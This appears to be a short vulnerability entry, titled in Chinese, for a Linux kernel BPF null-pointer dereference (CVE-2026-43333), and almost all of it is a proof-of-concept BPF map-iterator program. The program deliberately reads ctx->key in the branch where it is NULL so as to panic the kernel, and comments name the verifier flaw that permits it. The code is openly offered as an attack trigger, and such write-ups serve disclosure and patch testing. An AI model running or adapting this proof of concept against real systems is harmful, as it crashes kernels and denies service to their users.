CVE-2026-43333 Linux Kernel BPF空指针解引用漏洞

// Conceptual BPF PoC for CVE-2026-43333 // Triggers NULL dereference in map iterator stop callback #include <linux/bpf.h> #include <bpf/bpf_helpers.h> SEC("iter/map") int dump_map(struct bpf_iter__map *ctx) { // Vulnerability: In the 'stop' callback (when ctx->meta->seq_num == 0 or end), // ctx->key is NULL. The verifier allows this access because it strips // PTR_MAYBE_NULL via base_type(). // Direct access without null check causes Kernel Panic if (ctx->key) { // Valid access during iteration } else { // Malicious access attempt when key is actually NULL // This line should crash the kernel if the bug is present __u32 val = *(__u32 *)ctx->key; } return 0; } char _license[] SEC("license") = "GPL";